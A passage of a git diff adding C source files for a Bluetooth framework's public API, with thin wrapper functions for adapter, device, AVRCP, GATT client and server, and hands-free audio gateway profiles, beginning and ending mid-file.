+} + +bt_status_t BTSYMBOLS(bt_adapter_set_io_capability)(bt_instance_t* ins, bt_io_capability_t cap) +{ + return adapter_set_io_capability(cap); +} + +bt_io_capability_t BTSYMBOLS(bt_adapter_get_io_capability)(bt_instance_t* ins) +{ + return adapter_get_io_capability(); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_inquiry_scan_parameters)(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window) +{ + return adapter_set_inquiry_scan_parameters(type, interval, window); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_page_scan_parameters)(bt_instance_t* ins, bt_scan_type_t type, + uint16_t interval, uint16_t window) +{ + return adapter_set_page_scan_parameters(type, interval, window); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_le_io_capability)(bt_instance_t* ins, uint32_t le_io_cap) +{ + return adapter_set_le_io_capability(le_io_cap); +} + +uint32_t BTSYMBOLS(bt_adapter_get_le_io_capability)(bt_instance_t* ins) +{ + return adapter_get_le_io_capability(); +} + +bt_status_t BTSYMBOLS(bt_adapter_get_le_address)(bt_instance_t* ins, bt_address_t* addr, ble_addr_type_t* type) +{ + return adapter_get_le_address(addr, type); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_le_address)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_set_le_address(addr); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_le_identity_address)(bt_instance_t* ins, bt_address_t* addr, bool is_public) +{ + return adapter_set_le_identity_address(addr, is_public); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_le_appearance)(bt_instance_t* ins, uint16_t appearance) +{ + return adapter_set_le_appearance(appearance); +} + +uint16_t BTSYMBOLS(bt_adapter_get_le_appearance)(bt_instance_t* ins) +{ + return adapter_get_le_appearance(); +} + +bt_status_t BTSYMBOLS(bt_adapter_le_enable_key_derivation)(bt_instance_t* ins, + bool brkey_to_lekey, + bool lekey_to_brkey) +{ + return adapter_le_enable_key_derivation(brkey_to_lekey, lekey_to_brkey); +} + +bt_status_t BTSYMBOLS(bt_adapter_le_add_whitelist)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_le_add_whitelist(addr); +} + +bt_status_t BTSYMBOLS(bt_adapter_le_remove_whitelist)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_le_remove_whitelist(addr); +} + +bt_status_t BTSYMBOLS(bt_adapter_get_bonded_devices)(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + return adapter_get_bonded_devices(transport, addr, num, allocator); +} + +bt_status_t BTSYMBOLS(bt_adapter_get_connected_devices)(bt_instance_t* ins, bt_transport_t transport, bt_address_t** addr, int* num, bt_allocator_t allocator) +{ + return adapter_get_connected_devices(transport, addr, num, allocator); +} + +bt_status_t BTSYMBOLS(bt_adapter_set_afh_channel_classification)(bt_instance_t* ins, uint16_t central_frequency, + uint16_t band_width, uint16_t number) +{ + return adapter_set_afh_channel_classification(central_frequency, band_width, number); +} + +void BTSYMBOLS(bt_adapter_disconnect_all_devices)(bt_instance_t* ins) +{ +} + +bool BTSYMBOLS(bt_adapter_is_support_bredr)(bt_instance_t* ins) +{ + return adapter_is_support_bredr(); +} + +bool BTSYMBOLS(bt_adapter_is_support_le)(bt_instance_t* ins) +{ + return adapter_is_support_le(); +} + +bool BTSYMBOLS(bt_adapter_is_support_leaudio)(bt_instance_t* ins) +{ + return adapter_is_support_leaudio(); +} diff --git a/framework/api/bt_avrcp_control.c b/framework/api/bt_avrcp_control.c new file mode 100644 index 0000000000000000000000000000000000000000..4e206e09a6425579b24988c13e97572e5f45dd80 --- /dev/null +++ b/framework/api/bt_avrcp_control.c @@ -0,0 +1,86 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "avrcp_control_api" + +#include <stdint.h> + +#include "avrcp_control_service.h" +#include "bt_avrcp_control.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "service_manager.h" +#include "utils/log.h" + +static avrcp_control_interface_t* get_profile_service(void) +{ + return (avrcp_control_interface_t*)service_manager_get_profile(PROFILE_AVRCP_CT); +} + +void* BTSYMBOLS(bt_avrcp_control_register_callbacks)(bt_instance_t* ins, const avrcp_control_callbacks_t* callbacks) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_avrcp_control_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t BTSYMBOLS(bt_avrcp_control_get_element_attributes)(bt_instance_t* ins, bt_address_t* addr) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->avrcp_control_get_element_attributes(addr); +} + +bt_status_t BTSYMBOLS(bt_avrcp_control_send_passthrough_cmd)(bt_instance_t* ins, bt_address_t* addr, uint8_t cmd, uint8_t state) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->avrcp_control_send_passthrough_cmd(addr, cmd, state); +} + +bt_status_t BTSYMBOLS(bt_avrcp_control_get_unit_info)(bt_instance_t* ins, bt_address_t* addr) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->avrcp_control_get_unit_info(addr); +} + +bt_status_t BTSYMBOLS(bt_avrcp_control_get_subunit_info)(bt_instance_t* ins, bt_address_t* addr) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->avrcp_control_get_subunit_info(addr); +} + +bt_status_t BTSYMBOLS(bt_avrcp_control_get_playback_state)(bt_instance_t* ins, bt_address_t* addr) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->avrcp_control_get_playback_state(addr); +} + +bt_status_t BTSYMBOLS(bt_avrcp_control_register_notification)(bt_instance_t* ins, bt_address_t* addr, uint8_t event, uint32_t interval) +{ + avrcp_control_interface_t* profile = get_profile_service(); + + return profile->avrcp_control_register_notification(addr, event, interval); +} diff --git a/framework/api/bt_avrcp_target.c b/framework/api/bt_avrcp_target.c new file mode 100644 index 0000000000000000000000000000000000000000..151cf8bf5917f95ff16d1e848ceb7362b2fb4a9b --- /dev/null +++ b/framework/api/bt_avrcp_target.c @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "avrcp_target_api" + +#include <stdint.h> + +#include "avrcp_target_service.h" +#include "bt_avrcp_target.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "service_manager.h" +#include "utils/log.h" + +static avrcp_target_interface_t* get_profile_service(void) +{ + return (avrcp_target_interface_t*)service_manager_get_profile(PROFILE_AVRCP_TG); +} + +void* BTSYMBOLS(bt_avrcp_target_register_callbacks)(bt_instance_t* ins, const avrcp_target_callbacks_t* callbacks) +{ + avrcp_target_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_avrcp_target_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + avrcp_target_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t BTSYMBOLS(bt_avrcp_target_get_play_status_response)(bt_instance_t* ins, bt_address_t* addr, avrcp_play_status_t play_status, + uint32_t song_len, uint32_t song_pos) +{ + avrcp_target_interface_t* profile = get_profile_service(); + + return profile->get_play_status_rsp(addr, play_status, song_len, song_pos); +} + +bt_status_t BTSYMBOLS(bt_avrcp_target_play_status_notify)(bt_instance_t* ins, bt_address_t* addr, avrcp_play_status_t play_status) +{ + avrcp_target_interface_t* profile = get_profile_service(); + + return profile->play_status_notify(addr, play_status); +} diff --git a/framework/api/bt_device.c b/framework/api/bt_device.c new file mode 100644 index 0000000000000000000000000000000000000000..575039d127e623e802409186e9a37e84ea5dda9b --- /dev/null +++ b/framework/api/bt_device.c @@ -0,0 +1,240 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdlib.h> + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_internal.h" +#include "connection_manager.h" +#include "device.h" + +bt_status_t BTSYMBOLS(bt_device_get_identity_address)(bt_instance_t* ins, bt_address_t* bd_addr, bt_address_t* id_addr) +{ + return adapter_get_remote_identity_address(bd_addr, id_addr); +} + +ble_addr_type_t BTSYMBOLS(bt_device_get_address_type)(bt_instance_t* ins, bt_address_t* addr) +{ + return 0; +} + +bt_device_type_t BTSYMBOLS(bt_device_get_device_type)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_get_remote_device_type(addr); +} + +bool BTSYMBOLS(bt_device_get_name)(bt_instance_t* ins, bt_address_t* addr, char* name, uint32_t length) +{ + return adapter_get_remote_name(addr, name); +} + +uint32_t BTSYMBOLS(bt_device_get_device_class)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_get_remote_device_class(addr); +} + +bt_status_t BTSYMBOLS(bt_device_get_uuids)(bt_instance_t* ins, bt_address_t* addr, bt_uuid_t** uuids, uint16_t* size, bt_allocator_t allocator) +{ + return adapter_get_remote_uuids(addr, uuids, size, allocator); +} + +uint16_t BTSYMBOLS(bt_device_get_appearance)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_get_remote_appearance(addr); +} + +int8_t BTSYMBOLS(bt_device_get_rssi)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_get_remote_rssi(addr); +} + +bool BTSYMBOLS(bt_device_get_alias)(bt_instance_t* ins, bt_address_t* addr, char* alias, uint32_t length) +{ + return adapter_get_remote_alias(addr, alias); +} + +bt_status_t BTSYMBOLS(bt_device_set_alias)(bt_instance_t* ins, bt_address_t* addr, const char* alias) +{ + return adapter_set_remote_alias(addr, alias); +} + +bool BTSYMBOLS(bt_device_is_connected)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return adapter_is_remote_connected(addr, transport); +} + +bool BTSYMBOLS(bt_device_is_encrypted)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return adapter_is_remote_encrypted(addr, transport); +} + +bool BTSYMBOLS(bt_device_is_bond_initiate_local)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return adapter_is_bond_initiate_local(addr, transport); +} + +bond_state_t BTSYMBOLS(bt_device_get_bond_state)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return adapter_get_remote_bond_state(addr, transport); +} + +bool BTSYMBOLS(bt_device_is_bonded)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return adapter_is_remote_bonded(addr, transport); +} + +bt_status_t BTSYMBOLS(bt_device_connect)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_connect(addr); +} + +bt_status_t BTSYMBOLS(bt_device_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_device_background_connect)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + return bt_cm_device_connect(addr, transport); +#else + return BT_STATUS_UNSUPPORTED; +#endif +} + +bt_status_t BTSYMBOLS(bt_device_background_disconnect)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + return bt_cm_device_disconnect(addr, transport); +#else + return BT_STATUS_UNSUPPORTED; +#endif +} + +bt_status_t BTSYMBOLS(bt_device_connect_le)(bt_instance_t* ins, + bt_address_t* addr, + ble_addr_type_t type, + ble_connect_params_t* param) +{ + return adapter_le_connect(addr, type, param); +} + +bt_status_t BTSYMBOLS(bt_device_disconnect_le)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_le_disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_device_connect_request_reply)(bt_instance_t* ins, bt_address_t* addr, bool accept) +{ + return adapter_connect_request_reply(addr, accept); +} + +void BTSYMBOLS(bt_device_connect_all_profile)(bt_instance_t* ins, bt_address_t* addr) +{ +} + +void BTSYMBOLS(bt_device_disconnect_all_profile)(bt_instance_t* ins, bt_address_t* addr) +{ +} + +bt_status_t BTSYMBOLS(bt_device_set_le_phy)(bt_instance_t* ins, bt_address_t* addr, + ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy) +{ + return adapter_le_set_phy(addr, tx_phy, rx_phy); +} + +bt_status_t BTSYMBOLS(bt_device_create_bond)(bt_instance_t* ins, bt_address_t* addr, bt_transport_t transport) +{ + return adapter_create_bond(addr, transport); +} + +bt_status_t BTSYMBOLS(bt_device_set_security_level)(bt_instance_t* ins, uint8_t level, bt_transport_t transport) +{ + return adapter_set_security_level(level, transport); +} + +bt_status_t BTSYMBOLS(bt_device_set_bondable_le)(bt_instance_t* ins, bool bondable) +{ + return adapter_le_set_bondable(bondable); +} + +bt_status_t BTSYMBOLS(bt_device_remove_bond)(bt_instance_t* ins, bt_address_t* addr, uint8_t transport) +{ + return adapter_remove_bond(addr, transport); +} + +bt_status_t BTSYMBOLS(bt_device_cancel_bond)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_cancel_bond(addr); +} + +bt_status_t BTSYMBOLS(bt_device_pair_request_reply)(bt_instance_t* ins, bt_address_t* addr, bool accept) +{ + return adapter_pair_request_reply(addr, accept); +} + +bt_status_t BTSYMBOLS(bt_device_set_pairing_confirmation)(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept) +{ + return adapter_set_pairing_confirmation(addr, transport, accept); +} + +bt_status_t BTSYMBOLS(bt_device_set_pin_code)(bt_instance_t* ins, bt_address_t* addr, bool accept, + char* pincode, int len) +{ + return adapter_set_pin_code(addr, accept, pincode, len); +} + +bt_status_t BTSYMBOLS(bt_device_set_pass_key)(bt_instance_t* ins, bt_address_t* addr, uint8_t transport, bool accept, uint32_t passkey) +{ + return adapter_set_pass_key(addr, transport, accept, passkey); +} + +bt_status_t BTSYMBOLS(bt_device_set_le_legacy_tk)(bt_instance_t* ins, bt_address_t* addr, bt_128key_t tk_val) +{ + return adapter_le_set_legacy_tk(addr, tk_val); +} + +bt_status_t BTSYMBOLS(bt_device_set_le_sc_remote_oob_data)(bt_instance_t* ins, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + return adapter_le_set_remote_oob_data(addr, c_val, r_val); +} + +bt_status_t BTSYMBOLS(bt_device_get_le_sc_local_oob_data)(bt_instance_t* ins, bt_address_t* addr) +{ + return adapter_le_get_local_oob_data(addr); +} + +bt_status_t BTSYMBOLS(bt_device_enable_enhanced_mode)(bt_instance_t* ins, bt_address_t* addr, bt_enhanced_mode_t mode) +{ +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + return bt_cm_enable_enhanced_mode(addr, mode); +#else + return BT_STATUS_UNSUPPORTED; +#endif +} + +bt_status_t BTSYMBOLS(bt_device_disable_enhanced_mode)(bt_instance_t* ins, bt_address_t* addr, bt_enhanced_mode_t mode) +{ +#ifdef CONFIG_BLUETOOTH_CONNECTION_MANAGER + return bt_cm_disable_enhanced_mode(addr, mode); +#else + return BT_STATUS_UNSUPPORTED; +#endif +} \ No newline at end of file diff --git a/framework/api/bt_gattc.c b/framework/api/bt_gattc.c new file mode 100644 index 0000000000000000000000000000000000000000..27ac6c9f2b13181606cbb03d6fe63b9d347e83a3 --- /dev/null +++ b/framework/api/bt_gattc.c @@ -0,0 +1,157 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gattc" + +#include "bt_gattc.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "gattc_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static gattc_interface_t* get_profile_service(void) +{ + return (gattc_interface_t*)service_manager_get_profile(PROFILE_GATTC); +} + +bt_status_t BTSYMBOLS(bt_gattc_create_connect)(bt_instance_t* ins, gattc_handle_t* phandle, gattc_callbacks_t* callbacks) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->create_connect(NULL, phandle, callbacks); +} + +bt_status_t BTSYMBOLS(bt_gattc_delete_connect)(gattc_handle_t conn_handle) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->delete_connect(conn_handle); +} + +bt_status_t BTSYMBOLS(bt_gattc_connect)(gattc_handle_t conn_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->connect(conn_handle, addr, addr_type); +} + +bt_status_t BTSYMBOLS(bt_gattc_disconnect)(gattc_handle_t conn_handle) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->disconnect(conn_handle); +} + +bt_status_t BTSYMBOLS(bt_gattc_discover_service)(gattc_handle_t conn_handle, bt_uuid_t* filter_uuid) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->discover_service(conn_handle, filter_uuid); +} + +bt_status_t BTSYMBOLS(bt_gattc_get_attribute_by_handle)(gattc_handle_t conn_handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->get_attribute_by_handle(conn_handle, attr_handle, attr_desc); +} + +bt_status_t BTSYMBOLS(bt_gattc_get_attribute_by_uuid)(gattc_handle_t conn_handle, uint16_t start_handle, uint16_t end_handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->get_attribute_by_uuid(conn_handle, start_handle, end_handle, attr_uuid, attr_desc); +} + +bt_status_t BTSYMBOLS(bt_gattc_read)(gattc_handle_t conn_handle, uint16_t attr_handle) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->read(conn_handle, attr_handle); +} + +bt_status_t BTSYMBOLS(bt_gattc_write)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->write(conn_handle, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gattc_write_without_response)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->write_without_response(conn_handle, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gattc_write_with_signed)(gattc_handle_t conn_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->write_signed(conn_handle, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gattc_subscribe)(gattc_handle_t conn_handle, uint16_t attr_handle, uint16_t ccc_value) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->subscribe(conn_handle, attr_handle, ccc_value); +} + +bt_status_t BTSYMBOLS(bt_gattc_unsubscribe)(gattc_handle_t conn_handle, uint16_t attr_handle) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->unsubscribe(conn_handle, attr_handle); +} + +bt_status_t BTSYMBOLS(bt_gattc_exchange_mtu)(gattc_handle_t conn_handle, uint32_t mtu) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->exchange_mtu(conn_handle, mtu); +} + +bt_status_t BTSYMBOLS(bt_gattc_update_connection_parameter)(gattc_handle_t conn_handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->update_connection_parameter(conn_handle, min_interval, max_interval, latency, + timeout, min_connection_event_length, max_connection_event_length); +} + +bt_status_t BTSYMBOLS(bt_gattc_read_phy)(gattc_handle_t conn_handle) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->read_phy(conn_handle); +} + +bt_status_t BTSYMBOLS(bt_gattc_update_phy)(gattc_handle_t conn_handle, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->update_phy(conn_handle, tx_phy, rx_phy); +} + +bt_status_t BTSYMBOLS(bt_gattc_read_rssi)(gattc_handle_t conn_handle) +{ + gattc_interface_t* profile = get_profile_service(); + + return profile->read_rssi(conn_handle); +} diff --git a/framework/api/bt_gatts.c b/framework/api/bt_gatts.c new file mode 100644 index 0000000000000000000000000000000000000000..39bfeaf34cc22a50a8c38deb4f0b225d7f3d3e4d --- /dev/null +++ b/framework/api/bt_gatts.c @@ -0,0 +1,120 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "gatts" + +#include "bt_gatts.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "gatts_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static gatts_interface_t* get_profile_service(void) +{ + return (gatts_interface_t*)service_manager_get_profile(PROFILE_GATTS); +} + +bt_status_t BTSYMBOLS(bt_gatts_register_service)(bt_instance_t* ins, gatts_handle_t* phandle, gatts_callbacks_t* callbacks) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->register_service(NULL, phandle, callbacks); +} + +bt_status_t BTSYMBOLS(bt_gatts_unregister_service)(gatts_handle_t srv_handle) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->unregister_service(srv_handle); +} + +bt_status_t BTSYMBOLS(bt_gatts_connect)(gatts_handle_t srv_handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->connect(srv_handle, addr, addr_type); +} + +bt_status_t BTSYMBOLS(bt_gatts_disconnect)(gatts_handle_t srv_handle, bt_address_t* addr) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->disconnect(srv_handle, addr); +} + +bt_status_t BTSYMBOLS(bt_gatts_add_attr_table)(gatts_handle_t srv_handle, gatt_srv_db_t* srv_db) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->add_attr_table(srv_handle, srv_db); +} + +bt_status_t BTSYMBOLS(bt_gatts_remove_attr_table)(gatts_handle_t srv_handle, uint16_t attr_handle) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->remove_attr_table(srv_handle, attr_handle); +} + +bt_status_t BTSYMBOLS(bt_gatts_set_attr_value)(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->set_attr_value(srv_handle, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gatts_get_attr_value)(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t* length) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->get_attr_value(srv_handle, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gatts_response)(gatts_handle_t srv_handle, bt_address_t* addr, uint32_t req_handle, uint8_t* value, uint16_t length) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->response(srv_handle, addr, req_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gatts_notify)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->notify(srv_handle, addr, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gatts_indicate)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->indicate(srv_handle, addr, attr_handle, value, length); +} + +bt_status_t BTSYMBOLS(bt_gatts_read_phy)(gatts_handle_t srv_handle, bt_address_t* addr) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->read_phy(srv_handle, addr); +} + +bt_status_t BTSYMBOLS(bt_gatts_update_phy)(gatts_handle_t srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + gatts_interface_t* profile = get_profile_service(); + + return profile->update_phy(srv_handle, addr, tx_phy, rx_phy); +} diff --git a/framework/api/bt_hfp_ag.c b/framework/api/bt_hfp_ag.c new file mode 100644 index 0000000000000000000000000000000000000000..63c472bc35ad678d36659da8ddf2d7fcd31232ac --- /dev/null +++ b/framework/api/bt_hfp_ag.c @@ -0,0 +1,169 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_ag_api" + +#include "bt_hfp_ag.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "hfp_ag_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static hfp_ag_interface_t* get_profile_service(void) +{ + return (hfp_ag_interface_t*)service_manager_get_profile(PROFILE_HFP_AG); +} + +void* BTSYMBOLS(bt_hfp_ag_register_callbacks)(bt_instance_t* ins, const hfp_ag_callbacks_t* callbacks) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_hfp_ag_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bool BTSYMBOLS(bt_hfp_ag_is_connected)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->is_connected(addr); +} + +bool BTSYMBOLS(bt_hfp_ag_is_audio_connected)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->is_audio_connected(addr); +} + +profile_connection_state_t BTSYMBOLS(bt_hfp_ag_get_connection_state)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->get_connection_state(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_connect)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->connect(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_connect_audio)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->connect_audio(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_disconnect_audio)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->disconnect_audio(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_start_virtual_call)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->start_virtual_call(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_stop_virtual_call)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->stop_virtual_call(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_start_voice_recognition)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->start_voice_recognition(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_stop_voice_recognition)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->stop_voice_recognition(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_phone_state_change)(bt_instance_t* ins, bt_address_t* addr, + 